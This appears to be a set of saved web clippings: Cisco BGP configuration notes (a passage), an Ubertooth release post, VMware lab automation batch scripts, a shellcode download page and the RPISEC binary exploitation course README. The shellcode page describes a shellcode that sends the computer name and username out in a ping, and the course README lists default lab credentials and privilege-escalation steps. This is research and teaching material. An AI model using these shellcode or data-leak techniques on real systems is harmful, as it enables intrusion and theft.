router to routes it receives. When you have completed the changes to filters
and route maps that are applied on incoming information, use **clear ip bgp
_ip-address_ soft** on the router in privileged EXEC mode.

When you have completed the changes to filters and route maps that are applied
on the outgoing information, execute

> **clear ip bgp  _ip-address_ soft out**
on the router in privileged EXEC mode.

Route refresh is another new feature in the Cisco implementation of BGP.
Routers use the route refresh feature to ask a neighbor to resend all the
routing information when needed. Use the **clear ip bgp \*** command to send a
route refresh message to all neighbors or **clear ip bgp  _ip-address_ **to
send a route refresh message to a specific neighbor.

## BGP path attributes

### Mandatory well-known attributes

**Origin** \- Specifies the router's origin

  * IGP
  * EGP
  * Unknown - Route was redistributed

**AS-Path** \- Sequence of autonomous system numbers through which the route
is accessible

**Next-Hop** \- IP address of the next-hop router

### Discretionary well-known attributes

**Local Preference** \- Used for consistent routing policy with an autonomous
system

**Atomic Aggregate** \- Informs the neighbor autonomous system that the
originating router aggregated routes

### Nontransitive attributes

**Multiexit Discriminator** \- Used to discriminate between multiple entry
point into an autonomous system

### Transitive attributes

**Aggregator** \- IP address and autonomous system of the router that
performed aggregation

**Community** \- Used for route tagging

## Influencing route selection using weights

### Using weight

You can use weight to provide local routing policy, and you can use local
preference to establish autonomous system-wide routing policy.

To assign a weight to a neighbor connection, use the **neighbor weight**
router configuration command:

> **neighbor**  _ip-address_ |_peer-group-name_ **weight**  _weight_
This approach assigns a weight value to all route updates from the neighbor.
Higher weights are preferred.

You can also configure the router so that all incoming routes that match an
autonomous system filter receive the configured weight. Use the following
router configuration command to do so:

> **neighbor**  _ip-address_ |_peer-group-name_ **filter-list**  _access-list-
> number_ **in|out|weight**  _weight_
You can also set weight with a route map in more complex scenarios.

The default weight value is 32,768 for locally originating networks
\(including those via redistributing\) and is 0 for all other networks.

### Using local preference

Local preference can be used to influence route selection within the local
autonomous system; in fact, this attribute is stripped from outgoing updates
via eBGP. You should decide between the use of weight or local preference. The
default local preference for iBGP and local routes is 100; all other are 0 by
default.

You can apply local preference in the following ways:

  * Using a route map with the **set default local-preference** command
  * Using the **bgp default local-preference** command to change the default local preference value applied to all updates coming from external neighbors or originating locally.

### Autonomous system path prepending

In networks where connections to multiple providers are required, it is
difficult to specify a return path to be used for traffic returning to the
autonomous system. One BGP mechanism you can use is autonomous system path
prepending. Autonomous system path prepending potentially allows the customer
to influence the route selection of its service providers.

You manipulate autonomous system paths by prepending autonomous system numbers
to existing autonomous system paths. Typically, you perform autonomous system
path prepending on outgoing eBGP updates over the undesired return path.
Because the autonomous system paths sent over the undesired link become longer
that the path sent over the preferred path. The undesired link is now less
likely to be used as a return path. To avoid conflicts number, except that of
the sending autonomous system, should be prepended to the autonomous system
path attribute.

You can configure manual manipulation of the autonomous system path attribute
\(prepending\) using a route map with the **set as-path prepend** set clause.

### BGP multi exit discriminator \(MED\)

You can apply the MED attribute on outgoing updates to a neighboring
autonomous system to influence the route selection process in that autonomous
system. The MED attribute is useful only when you have multiple entry points
into an autonomous system.

The default value of the MED attribute is 0. A lower value of MED is more
preferred. A router prefers a path with the smallest MED value but only if
weight, local preference, autonomous system path, and origin code are equal.

MED is ot a mandatory attribute; no MED attribute is attached to a route by
default. The only exception is if the router is originating networks that have
an exact match in the routing table \(through the **network** command or
through redistribution\). In that case, the router uses the metric in the
routing table as the MED attribute value.

Using the **default-metric** command in BGP configuration mode causes all
redistributed networks to have the specific MED value.

You can use a route map to set MED on incoming or outgoing updates. Use the
**set metric** command within route map configuration mode to set the MED
attribute.

You must use the command **bgp bestpath med confed** when you use MED within a
confederation to influence the route selection process. A router compares MED
values for those routes that originate in the confederation.

## Route reflectors

BGP requires that all BGP peers in the same autonomous system form an iBGP
session with all peers in the autonomous system. This is too difficult in many
environments. Route reflectors are fully functional iBGP speakers that form
iBGP sessions with other iBGP speakers, and they also perform a second
function - they forward routes from other iBGP speakers to route reflector
clients. The route reflector clients and clients form a cluster.

To configure route reflectors, consider these initial tasks:

  * Configure the proper cluster ID value on the route reflector
  * Configure the route reflector with information about which iBGP neighbor sessions are reaching their clients
  * In the clients, remove all iBGP sessions to neighbors that are not a route reflector in the client cluster
  * Make sure that the iBGP neighbor is removed on both ends of the iBGP session

The command used to configure the cluster ID if the BGP cluster has redundant
route reflectors is as follows:

> **bgp cluster-id**  _cluster-id_
The command used to configure the router as a BGP route reflector and
configure the specified neighbor as its client is as follows:

> **neighbor**  _ip-address_ **route-reflector-client**
## Confederations

Confederations are another method of solving the iBGP full-mesh requirement.
Confederations are smaller subautonomous systems created within the primary
autonomous system to decrease the number of BGP peer connections. Five steps
are used in the configuration of confederations:

  * Enable BGP using the member autonomous system number
  * Configure the confederation identifier using **the bgp confederation identifier** command
  * Configure fully meshed iBGP subautonomous system neighbor relationships using the subautonomous system number as the remote autonomous system number \(ASN\) for all internal iBGP peers
  * Configure other neighbors within the same parent autonomous system by specifying their subautonomous system number as the remote autonomous system number; other confederation peers from different subautonomous systems must also be identified as external confederation peers using the **bgp confederation peers** command
  * Configure any eBGP neighbor as you normally would

## Peer groups

To configure one router with multiple BGP peer relationships, configurations
can be quite complex. Peer groups simplify the configuration process. You make
peer groups and assign neighbors with the same policies to the group. Peer
group members inherit the policies assigned to the group.

To configure the BGP peer group on Cisco IOS routers, you must complete the
following steps:

  * Create a BGP peer group; use the **neighbor peer-group** router configuration command
  * Specify parameters for the BGP peer group
  * Create a BGP neighbor
  * Assign a neighbor to the peer group; use the **neighbor peer-group** router configuration command

## Network backdoor command

The **network backdoor** router configuration command causes the
administrative distance assigned to the network to be forced 200. The goal is
to make IGP-learned routes preferred. A network that is marked as a backdoor
is not sourced by the local router, but should be learned from external
neighbors. You should be sure to verify the route is inthe BGP table for the
command to have the desired effect.

## Configure the BGP maximum-prefix function

To control how many prefixes a BGP router can receive from a nighbor, use the
neighbor **maximum-prefix** router configuration command.

## Route dampening

Flapping routes create problems for BGP. An approach was created to remove the
update about a flapping route until it can be guaranteed that the destination
is more stable. This additional BGP scalability mechanism, called route flap
dampening, was created to reduce route update processing requirement by
suppressing unstable routes.

To enable route dampening, use the **bgp dampening** command.

## Troubleshooting and monitoring BGP

Important commands to monitor and troubleshoot BGP:

  * **show ip bgp neighbor**  _ip-address_ \- Displays detailed neighbor information
  * **show ip bgp** \- Displays all the routes in the BGP table
  * **show ip bgp ip-prefix \[mask subnet-mask\]** \- Displays detailed information about all paths for a single prefix
  * **debug ip tcp transactions** \- Displays all TCP transactions
  * **debug ip bgp events** \- Displays significant BGP events
  * **debug ip bgp keepalives** \- Debugs BGP keepalive packets
  * **debug ip bgp updates** \- Displays all incoming or outgoing BGP updates
  * **debug ip bgp updates acl** \- Displays all incoming and sent updates matching an ACL
  * **debug up bgp ip-address update \[acl\]** \- Displays all BGP updates received from or sent to a specific neighbor

# mossmann's blog: ubertooth

**Created:**| _11/27/2010 10:40:47 PM_  
---|---  
**Updated:**| _11/27/2010 10:41:03 PM_  
**Author:**| __  
**Tags:**| _research projects awesome USRP_  
  

### Ubertooth: first release

<img src='img/Temp2_10474.png' />Tonight I uploaded the first release of
Project Ubertooth, an open source wireless development platform that can be
used for Bluetooth testing and research. This is a very preliminary release,
but it includes the complete hardware design for Ubertooth Zero, firmware
source code, and the host code needed to perform rudimentary Bluetooth
sniffing as I demonstrated at ToorCon 12. Although you can download a project
archive, I recommend using the Subversion repository so that you can easily
keep up to date with the project as it develops.

<img src='img/Temp2_10473.png' />The documentation is still a bit thin, but
there are README files scattered about the project directories. The host code
can be compiled with gcc on Linux. The firmware also can be compiled with a
gcc toolchain \(I have found the CodeSourcery package to be helpful\) and can
be flashed onto a board with lpc21isp. I've been using a slightly modified
SparkFun FTDI Basic Breakout for this, but there are several serial
programming devices that will work with lpc21isp.

<img src='img/Temp2_10472.png' />Also in the repository is an early hardware
design for Ubertooth One, the next generation board that I hope to have ready
within a couple months. This is a more challenging design that will probably
require a few revisions, so keep your expectations low if you try to build one
based on the current layout.

# PaulDotCom: Archives

**Created:**| _2/6/2010 11:33:46 PM_  
---|---  
**Updated:**| _2/6/2010 11:34:04 PM_  
**Author:**| __  
**Tags:**| _automation Tutorials Lab-Setup vmware_  
  

# Automating My VMware Lab

ByCarlos Perezon December 23, 2009 9:19 PM | Permalink
One of the best ways to learn is to practice and practice and I do have to say
that VMWare has played a very large role in my professional life since it
allows me to test ideas, code, validate and practice against different
versions of an OS, different patch levels and even different OS’s with out
having to have a very large number of servers and routers to simulate
environments. My current lab system is a PC running Windows 7 Enterprise with
8GB of RAM, 2 1TB 7200 SATA HD and a Intel Quad 8300, all of this running
VMware Workstation 7. I have a collection of VM’s that I clone as needed, my
collection of VM’s for cloning are:

  1. \(5\) Windows 2008 Ent RTM 32bit
  2. \(1\) Windows 2008 Ent Core RTM 32bit
  3. \(2\) Windows Vista RTM 32bit
  4. \(2\) Windows 7 RTM 32bit
  5. \(1\) Windows XP SP2 32bit
  6. \(1\) Windows XP SP3 32Bit
  7. \(1\) Windows 2003 Ent SP2 32bit
  8. \(1\) Windows 2003 Ent SP1 32bit
  9. \(1\) Windows 2003 Ent R2 32bit
  10. \(1\) Windows 2000 Advanced SP3 32bit
  11. \(1\) Windows 2000 Advanced SP4 32bit
  12. \(1\) Pfsense 1.2.3 Appliance
  13. \(1\) BT4
  14. \(1\) Ubuntu 9.10 32bit

For Database testing I have the following VM’s:

  1. \(1\) MS SQL 2005 running on Windows 2003 32bit
  2. \(1\) MS SQL 2008 Running on Windows 2003 Ent 32bit
  3. \(1\) Oracle 9i Running on Windows 2003 Advanced 32bit
  4. \(1\) Oracle 10g Running on Windows 2003 Ent 32bit
  5. \(1\) Oracle 11g Running on Windows 2003 Ent 32bit

As it can be seen since most of my work is done with Meterpreter and post
exploitation in Windows Systems the majority of my VM’s are Windows. As you
can see I do have a lot of VM’s and to make matters a bit more complex when
I’m testing something I use VMware Workstation feature of Teams where I create
a complete isolated network of machines, this lets me test the machines behind
a virtual firewall to see how well my code will work behind several
configurations of firewalls and a very good feature of teams is that I can
control the speed of a virtual network so I can test how will my attack or
code will behave if the client has a 64kbps connection, a T-1 and many other
types of speed, this really helps me tune and see how multithreading and
moving large files behave thru this connections.

The team where I clone any of the VM’s you see above looks as follow:

<img src='img/Temp2_6173.gif' width='660' height='285' alt='teamacmeinc' />

In the configuration shown above I can play with the speed of the LAN1 network
so as to simulate different environments, depending of where I want to
simulate the attacker I will place the attacker machine in my home network or
as a internal attacker I place an attacking VM inside LAN2.

As it can be seen my setup can become complicated very fast and doing changes
to individual machines becomes a tedious job so what better way handle all of
this VM’s that to automate it For this a simple tool that I like that can be
used on Linux, OSX and Windows is the vmrun tool that is part of the VMware
VIX kit, this kit is part of Fusion Full download and as a separate download
for Linux. With this tool you can manage VM’s in:

  1. ESX and ESXi \(Remotely\)
  2. VMware Server \(Remotely\)
  3. VMware Player \(Remotely\)
  4. VMware Workstation \(Locally\)
  5. VMware Fusion \(Locally\)

Some of the stuff you can do with this tool are:

  1. Change state of VM’s\(Start, Stop, Pause and Reset\)
  2. Manage Snapshots \(Creation, Deletion, Revert to Snapshot\)
  3. Manage Processes to VM’s\(List, Start and Kill\)
  4. Upload Files to VM’s
  5. Run Scripts on VM’s

The list above is only a shot list you can check the vmrun Documentation

One of the things I tend to do is do a snapshot to all running VM’s once I
have the environment setup as I want so in case I mess up something I can
revert the affected VM, so for this I wrote the following batch script to
create a snapshot of all running VM’s

[code]

    @echo off
    
[/code]

[code]

    setlocal
    
[/code]

  

[code]

    set Path=C:\Program Files (x86)\VMware\VMware VIX
    
[/code]

  

[code]

    set snapname=
    
[/code]

  

[code]

    set /p snapname=Enter the name for the snapshot: 
    
[/code]

  

[code]

    for /F "skip=1 delims=," %%i in ('vmrun list') do (
    
[/code]

  

[code]

    echo Creating Snapshot for %%i and naming it %snapname%
    
[/code]

  

[code]

    vmrun -T ws snapshot "%%i" %snapname%
    
[/code]

  

[code]

    )
    
[/code]

  

[code]

    endlocal
    
[/code]

  

[code]

    set /p any=press any key ....
    
[/code]

  

  

Here is a sample run of the script

<img src='img/Temp2_6172.gif' width='673' height='341' alt='image' />

As you can see you get prompted for the name to give to the snapshot, and we
are doing a snapshot of only the running VM’s since those are the ones I’m
working at the moment, I do not want to snapshot my master templates.

To revert to all running VM’s to a known snapshot the only thing I changed is
the command to be**revertToSnapshot**

[code]

    @echo off
    
[/code]

[code]

    setlocal
    
[/code]

  

[code]

    set Path=C:\Program Files (x86)\VMware\VMware VIX
    
[/code]

  

[code]

    set snapname=
    
[/code]

  

[code]

    set /p snapname=Enter the name for the snapshot:
    
[/code]

  

[code]

    for /F "skip=1 delims=," %%i in ('vmrun list') do (
    
[/code]

  

[code]

    echo Reverting snapshot for %%i
    
[/code]

  

[code]

    vmrun -T ws revertToSnapshot "%%i" %snapname% msg.autoAnswer = TRUE
    
[/code]

  

[code]

    vmrun start "%%i"
    
[/code]

  

[code]

    )
    
[/code]

  

[code]

    endlocal
    
[/code]

  

[code]

    set /p any=press any key ....
    
[/code]

  

  

To delete I just changed the command to **deleteSnapshot** as you can see it
is very simple to script this tool.

[code]

    @echo off
    
[/code]

[code]

    setlocal
    
[/code]

  

[code]

    set Path=C:\Program Files (x86)\VMware\VMware VIX
    
[/code]

  

[code]

    set snapname=
    
[/code]

  

[code]

    set /p snapname=Enter the name for the snapshot:
    
[/code]

  

[code]

    for /F "skip=1 delims=," %%i in ('vmrun list') do (
    
[/code]

  

[code]

    echo Deleting snapshot for %%i
    
[/code]

  

[code]

    vmrun -T ws deleteSnapshot "%%i" %snapname% msg.autoAnswer = TRUE
    
[/code]

  

[code]

    vmrun start "%%i"
    
[/code]

  

[code]

    )
    
[/code]

  

[code]

    endlocal
    
[/code]

  

[code]

    set /p any=press any key ....
    
[/code]

  

  

In the next example I just made the batch accept a variable of file to upload
to all windows running hosts by looking at their names and looking for the
string“win” and only to those copy the file, I can either drag and drop the
file on top of the script or when I run it and the script asks I can just drag
and drop the file to the CMD windows so as to copy the path to the executable,
also you will see that I provide the guest username and password so it is a
good idea to have the same username and password for you lab VM’s on you
machine. All VM actions that interact with the OS of the VM require that
VMware Tools are installed and that credentials are given to access the
underlying OS.

[code]

    @echo off
    
[/code]

[code]

    set Path=C:\Program Files (x86)\VMware\VMware VIX
    
[/code]

  

[code]

    if "%1"=="" (set /p file=Enter path of file to upload: ) else (set file="%1")
    
[/code]

  

[code]

    set /p target=Enter path and filename on VMs to upload: 
    
[/code]

  

[code]

    for /F "delims=," %%i in ('vmrun list ^| %windir%\system32\find.exe "win"') do (
    
[/code]

  

[code]

    echo uploading file %file% to %%i
    
[/code]

  

[code]

    vmrun -T ws -gu administrator -gp Newsystem01 copyFileFromHostToGuest "%%i" "%file%" "%target%"
    
[/code]

  

[code]

    )
    
[/code]

  

[code]

    set /p any=press any key ....
    
[/code]

  

  

Now you can use this other script to run the executable on all windows hosts,
a similar one can be made for Linux if you follow a naming conversion for your
VM’s.

[code]

    @echo off
    
[/code]

[code]

     
    
[/code]

  

[code]

    set /p file=Enter path and filename of program to run: 
    
[/code]

  

[code]

    set /p options=Enter options for program:  
    
[/code]

  

[code]

    for /F "skip=1 delims=," %%i in ('vmrun list ^| %windir%\system32\find.exe "win"') do (
    
[/code]

  

[code]

    echo uploading file %file% to %%i
    
[/code]

  

[code]

    vmrun -T ws -gu administrator -gp Newsystem01 runProgramInGuest "%%i" "%file%" "%options%" msg.autoAnswer = TRUE
    
[/code]

  

[code]

    )
    
[/code]

  

[code]

     
    
[/code]

  

[code]

    set /p any=press any key ....
    
[/code]

  

  

I just showed some simple examples on automating workstation but this can also
be done with VMware Server and ESX/ESXi by just changing the type in the
**–T** flag to **server** or **esx** depending the target and giving the
address to connect to with **–h** for the web address and **–u** for the host
user and **–p** for the host password. The tool simply executes XMLRPC calls
thru SSL against the servers. I encourage that you read the rest of the short
documentation on vmrun and modify and play with the scripts I here showed as
examples, you can transform this same script to batch and use them in OSX or
Linux if you like.

  *[December 23, 2009 9:19 PM ]: 2009-12-23T21:19:21-05:00

# Shellcode « Didier Stevens

**Created:**| _2/20/2010 9:43:58 PM_  
---|---  
**Updated:**| _2/20/2010 9:44:03 PM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

###  
Shellcode

This section gives an overview of my shellcode. Most shellcode is completely
coded by hand by me \(I use the free nasm assembler\), but some shellcode has
also been generated with the help of a C-compiler. I worked out a method to
generate WIN32 shellcode with a C-compiler. By using special constructs in C
and avoiding incompatible constructs, the C-compiler will emit position-
independent code for the C functions designed to be converted to shellcode.
The shellcode is extracted from the compiled EXE-file when the program is run.

Not only is it easier and faster to code shellcode with C in stead of assembly
language; this method makes it also possible to debug shellcode with Visual
C++2008 Express’ integrated debugger. I’m currently writing a tutorial for
this method.

The shellcodes presented here do not use hardcoded WIN32 API function
addresses, they use the PEB method to dynamically lookup the addresses \(code
published in The Shellcoder’s Handbook, you can find it in the include file
sc-api-functions.asm\).

Note that shellcodes available for download here are not restricted in the
byte-values they may use. Most of them will contain 0×00-bytes. If this is an
issue, I’ll provide you with a couple of decoders I developed to exclude
specific byte-values.

**ShellCodeMemoryModule**

The DLL-loading shellcode I used in my cmd.xls spreadsheet was generated with
my C-Compiler method. You can download Joachim’s code, converted to shellcode
with this method, here:

Download:

ShellCodeMemoryModule\_V0\_0\_0\_1.zip \(https\)

MD5: CEABB3A8A9A4A507BA19C52EE2CC5DA9

SHA256: 284344C909E623B0406BB38A67F5A7A1AEE2473721244EED52CCEBB8846B0500

The shellcode is in file ShellCodeMemoryModule.exe.bin \(it contains the
shellcode with an appended DLL that displays a MessageBox\).

Finally, after extensive testing of this shellcode, I disassembled it with
ndisasm and optimized it for size \(2297 bytes in stead of 2634 bytes\). But
this step is only necessary if you want assembly code for your shellcode. This
assembly code will be released when I’m done tweaking it <img
src='img/Temp2_7498.gif' alt=';-)' />

**MessageBox Shellcode**

Per request, I release my assembly code I’ve used in my previous blogposts to
display a message box when the injected shellcode gets executed. It’s nothing
special, but it will save you some time when you need a similar program.

Assemble the code with nasm like this:

[code]

    nasm -o sc-mba-hello.bin sc-mba-hello.asm
    
[/code]

I use the DLL locating code published in The Shellcoder’s Handbook, you can
find it in the include file sc-api-functions.asm. MessageBoxA is located in
user32.dll, this dll has to be loaded in the process you’re injecting with sc-
mba-hello.

sc-ods.asm is a similar program, calling OutputDebugStringA in stead of
MessageBoxA.

Download:

my-shellcode\_v0\_0\_3.zip \(https\)

MD5: 914FB82B15D84108E023714DFF5B8658

SHA256: B72BD9DAAAD37100A6C011752E305FDDFED0F9C5ABB27EF1F19F24D05CB2C939

The shellcode:

<img src='img/Temp2_7497.gif' width='408' height='652' alt='sc-mba-hello' />

**Winexec Shellcode**

Another requested file \(sc-winexec.asm\) was added to my-
shellcode\_v0\_0\_3.zip: shellcode to launch calc.exe via a WinExec call.
After that, the shellcode will exit with a call to ExitThread.

If you want this shellcode to launch another program than calc.exe, edit the
last line of the assembly code to replace calc.exe with the desired program:

[code]

    COMMAND:
            db "calc.exe", 0
    
    
[/code]

**Ping Shellcode**

2 other requested files \(sc-ping.asm and sc-ping-computername-username.asm\)
were added to my-shellcode\_v0\_0\_3.zip: shellcode to perform a ping. First
one does a ping with a static payload, second one has dynamic payload
\(computername + username\).

# RPISEC/MBE

**Created:**| _6/23/2015 10:13:37 AM_  
---|---  
**Updated:**| _6/23/2015 10:13:37 AM_  
**Author:**| __  
**Tags:**| _howto_  
  

# Modern Binary Exploitation - CSCI 4968

This repository contains the materials as developed and used by RPISEC to
teach Modern Binary Exploitation at Rensselaer Polytechnic Institute in Spring
2015. This was a university course developed and run solely by students to
teach skills in vulnerability research, reverse engineering, and binary
exploitation.

<img src='https://github.com/RPISEC/MBE/raw/master/resources/images/mbe.jpg'
alt='MBE' />

## About the Course

Vulnerability research & exploit development is something totally outside the
bounds of what you see in a normal computer science curriculum, but central to
a lot of what we RPISEC members find ourselves doing in our free time. We also
find that subjects in offensive security tend to have a stigma around them in
university that we would like to help shake off. These are practical, applied
skills that we're excited to share with those interested in learning.

The question this course posed was _'Can we teach a bunch of programmers how
to pwn?'_

**Course website:** http://security.cs.rpi.edu/courses/binexp-spring2015/

**Syllabus:** http://security.cs.rpi.edu/courses/binexp-
spring2015/Syllabus.pdf

### Course Abstract

> _Cybersecurity is one of the fastest growing fields in computer science,
> though its study is rarely covered in academia due to its rapid pace of
> development and its technical specificity. Modern Binary Exploitation will
> focus on teaching practical offensive security skills in binary exploitation
> and reverse engineering. Through a combination of interactive lectures,
> hands on labs, and guest speakers from industry, the course will offer
> students a rare opportunity to explore some of the most technically involved
> and fascinating subjects in the rapidly evolving field of security._
> _The course will start off by covering basic x86 reverse engineering,
> vulnerability analysis, and classical forms of Linux-based userland binary
> exploitation. It will then transition into protections found on modern
> systems \(Canaries, DEP, ASLR, RELRO, Fortify Source, etc\) and the
> techniques used to defeat them. Time permitting, the course will also cover
> other subjects in exploitation including kernel-land and Windows based
> exploitation._
### Prerequisite Knowledge

This course carried a prereq of Computer Organization - CSCI 2500 at RPI.
Computer Organization is RPI's basic computer architecture course that teaches
things like C, MIPS assembly, x86 assembly, Datapaths, CPU Pipelining, CPU
Caching, Memory Mapping, etc.

Our expected demographic for Modern Binary Exploitation was students with zero
reverse engineering or binary exploitation knowledge. That said, to be able to
take this course you will probably need at least the following skills.

  * Working knowledge of C/C++
  * Any assembly level experience
  * Basic Linux command line experience

### Lecture Breakdown

Lecture| Title| Topics  
---|---|---  
01| Syllabus and Review| Linux, C, x86  
02| Introduction to Reverse Engineering| Tools and the VM  
03| Extended Reverse Engineering| GDB & IDA  
04| Intro to Memory Corruption| ELF, the stack, calling conventions, buffer
overflows  
05| Shellcoding / Code Injection| Writing shellcode, developing scenario
relevant payloads  
06| Format String Vulnerabilities| Format strings, DTOR/GOT overwrites  
07| DEP and ROP| Data Execution Prevention, writing ROP chains, ret2libc  
08| Secure Systems and Game Console Exploitation| OpenBSD, SELinux, GRSEC,
Game Console Exploitation  
09| Address Space Layout Randomization \(ASLR\)| Overview, info leaks, partial
overwrites, ASLR closure  
10| Heap Exploitation| Heap structure and concepts, corruption, use after free  
11| Misc Concepts and Stack Cookies| Signed/unsignedness issues, uninitialized
data, etc, bypassing stack cookies  
12| C++ Differences and Concepts| C++ basics, structures, vTables, exceptions  
13| Linux Kernel Exploitation| Kernel basics, kernel exploitation, mitigations
\(mmap\_min\_addr, kallsyms, SMEP/SMAP\), bypassing mitigations  
14| Exploitation on 64bit, ARM, Windows| Exploitation differences on other
architectures & platforms  
15| Automation & The Future of Exploitation| Fuzzing, taint analysis, dynamic
instrumentation, SMT/SAT solvers  
### Lab Breakdown

Lab| Topic| Corresponding Lectures  
---|---|---  
01| Reverse Engineering| 01-03  
02| Memory Corruption| 04  
03| Shellcoding| 05  
04| Format Strings| 06  
P1| Project 1| 01-06 \(Comprehensive\)  
05| DEP and ROP| 07  
**XX**| **ASLR should always be enabled from this point on**| **See VM
Information for details**  
06| ASLR| 09  
07| Heap| 10  
08| Misc and Stack Cookies| 11  
09| C++| 12  
P2| Project 2| 01-12 \(Comprehensive\)  
10| Linux Kernel| 13  
### Repository Breakdown

  * src/ \- Source code for labs
  * setup\_wargame.sh,external\_tools.sh \- Install scripts to setup MBE on an Ubuntu 14.04 32-bit machine
  * MBE\_release.tar.gz \- Binaries for labs and projects
  * MBE\_lectures.tar.gz \- PDFs of all lecture slides
  * MBE\_VM.vmdk.gz \- A vmdk \(disk image\) of a VM that is already setup

## Labs - The RPISEC Warzone

The Warzone is a custom wargame that was built from the ground up for this
course. It provided a complete and consistent learning platform for us to
release the labs and projects to the students. The wargame was built ontop of
a vanilla Ubuntu 14.04 32-bit server install, and is modeled after existing
local privilege escalation themed wargames. If you have ever played the
fantastic SmashTheStack IO wargame, the Warzone has a somewhat similar
structure.

<img
src='https://github.com/RPISEC/MBE/raw/master/resources/images/warzone.png'
alt='RPISEC Warzone' />

Some basic tweaks have been made in an attempt to isolate players from each
other and create an individual experience, but it's probably far from perfect.
It also comes pre-installed with some tools, scripts, and configs that can
make a beginner's life a bit easier in exploit development.

You can roll with the Warzone we designed, or you can try to setup your own
using our scripts.

* * *
### Option One - Pre-made Warzone VM

As the years pass, compilers will change, security will improve, and the
challenges in this repo may no longer be solvable. Because of this, we have
created a virtual machine disk image that closely replicates the universal
Warzone wargame server we ran for the duration of this course. The VM has all
the tools setup, challenges pre-compiled, and lab accounts ready to go.
Hopefully it will endure the test of time.

#### Virtual Machine Setup

RPISEC is a huge advocate of VMware because of its quality and stability, so
we recommend using our disk image below with VMware Workstation, VMware
Fusion, or VMware Player. That said, it should also work with VirtualBox.

VMware provides a great 2 minute video on how to setup a virtual machine using
an existing disk image.

<img
src='https://github.com/RPISEC/MBE/raw/master/resources/images/vmware.png'
alt='Final' />

  1. Download MBE\_VM.vmdk.gz from our release page
  2. Extract the archive to obtain the disk image
  3. Using VMware go to `File->New Virtual Machine...` and create a Custom VM
  4. When prompted for `Guest Operating System Installation`, select `I will install the operating system later`
  5. You can use the default options for almost all the prompts you encounter. For specs, we suggest the following: 
     * 1 processor / core
     * 512 MB of RAM
     * NAT Networking
  6. When prompted to `Select a Disk`, select `Use an existing virtual disk` and navigate to the .vmdk you extracted
  7. In the end your final screen should look something like this. Click Finish and then power on the VM.

<img src='https://github.com/RPISEC/MBE/raw/master/resources/images/final.png'
alt='Final' />

#### How to Play

We tried to keep the course fairly self contained but if you find yourself
lost or struggling OverTheWire's Bandit is a great intro to Linux wargames.
You can also poke people on IRC if you have questions.

  * SSH is pre-setup on the VM, but we need an IP. First, sign in through the VMWare or VirtualBox console. To find the IP address type:  
`$ ip addr`

<img
src='https://github.com/RPISEC/MBE/raw/master/resources/images/ip_addr.png'
alt='ip addr' />

and then SSH using PuTTY or a command line client  
`$ ssh lab1C@172.16.29.130`  
`lab1C@172.16.130's password: lab01start`

  * Navigate to `/levels/labXX` to begin  
`$ cd /levels/lab01`

  * The Warzone is structured like any local privilege escalation wargame. You must exploit a challenge to escalate your privileges and gain access to another user \(level\). Once you exploit a level and escalate to the next user \(confirm with `whoami`\), read their password from their home dir  
`$ cat /home/lab1B/.pass`

  * SSH in using the new username and password to continue\!

#### VM information

  * admin user: `gameadmin:gameadmin`
  * rc files are in `/etc/cfg`
    * All lab/project users have symlinks to these files in their home directories
    * These files are also symlinked in `/etc/skel`
  * To begin a lab, login as `labXC:lab0Xstart`
    * e.g. `lab1C:lab01start`
    * Projects are `projectX:projectXstart`
  * Levels are in `/levels`
  * Passwords are in `/home/$USER/.pass`
  * Tools are installed in `/tools` and `/usr/local/bin`
  * **ASLR must be enabled after completing the DEP/ROP lab, and stay enabled for the rest of the course**
    * Until reboot: `# echo 2 > /proc/sys/kernel/randomize_va_space`
    * Persist reboot: `# echo 'kernel.randomize_va_space = 2' > /etc/sysctl.d/01-disable-aslr.conf`

* * *
### Option Two - Make a Custom Warzone

We have provided a bash script that will fully setup the exact environment in
the provided VM.

**DO NOT RUN THIS SCRIPT ON YOUR PERSONAL COMPUTER, RUN IT IN A VIRTUAL
MACHINE**

  1. Download MBE\_release.tar.gz
  2. Move the archive to your VM or machine and extract it   
**NOTE: It is not recommended to run the script from /tmp, as the sticky bits
can screw up wildcards**  
`$ tar xzvf MBE_release.tar.gz`

  3. Modify the configuration variables at the top of setup\_wargame.sh to suit your needs
  4. Make the setup script executable and run it with sudo  
`$ chmod +x ./setup_wargame.sh`  
`$ sudo ./setup_wargame.sh`  
It should take about 10-20 minutes to complete depending on your internet
connection and the number of Ubuntu updates.

## Frequently Asked Questions

#### Why can't I login to lab1c?

Account names are case sensitive, so please check that you're logging in as
lab1**C**

#### Where are the lab solutions?

Posting solutions spoils the fun and grind of the game, and as an academic
resource it is likely some of these materials may be re-used by other classes
in the future. As goes with most wargames, we would like to ask that you
refrain from publicly posting writeups or exploits to the labs and projects.

If you are ever stuck on a problem or have any questions, you're more than
welcome to ask on IRC.

#### Why are the lecture slides for XYZ so sparse?

This was a very hands on course, so almost every lecture we had students
slinging GDB commands or following along with us on screen. The slides were
accessory to the lectures and may have gaps or experience brevity at times.
With seven of us creating and giving lectures, the slides and teaching styles
vary a bit. We did our best to keep them consistent.

#### Do you have videos of the lectures?

Sadly we did not record any of the lectures, maybe next time.

#### Why provide the lab sources to the students?

We're huge fans of reversing / CTF challenges, but reversing is mostly a time
problem. With students juggling other classes and work during the school
semester, we'd rather them focus on learning the exploitation techniques
without the overhead of reversing every binary.

#### These challenges are really easy, what gives?

The 50 students that enrolled had little to no prior computer security
experience. The labs are not designed to be novel CTF challenges, they're
meant to be more academic examples paced to crystallize the concepts. Seasoned
CTF'ers can probably blow through most of these challenges in a day or two.

#### Why didn't you cover subject XYZ?

If XYZ is related to vulnerability research, we're all ears. The course is far
from perfect and we are open to hear any feedback for improving it.

#### Will this course be taught again at RPI?

There's a lot of interest in having it offered again, so it's being considered
for Spring 2016. The feedback was almost exclusively positive with the
students finding the material challenging, but engaging. We've got dozens of
ideas on how to make it even better next time.

#### Where can I learn more?

Play more wargames:

And when they're happening, play CTFs\!

#### I have a question, how can I get in touch with you?

Our club keeps a pretty active IRC presence. Someone there can probably answer
your question.

**Server:** `irc.rpis.ec` **Port:** `6667`, or `6697` \(SSL\)

If you would like a more formal means of communication, you can reach us at
`contact [at] rpis.ec`

# Licensing

This course was explicitly designed for academic & educational use only.
Please keep this in mind when sharing and distributing our course material.
The specific licenses involved can be found below.

**Lecture Slides**

The lectures are covered by the Creative Commons Attribution-NonCommercial 4.0
International license CC BY-NC 4.0.

**Code**

The code in this repo is covered by the BSD 2-Clause license. You can view
this license in LICENSE.

# Acknowledgements

Hundreds of hours and countless all nighters went into the production and
execution of this course. This section serves to recognize those who made all
of this possible.

## Original Authors

  * Patrick Biernat
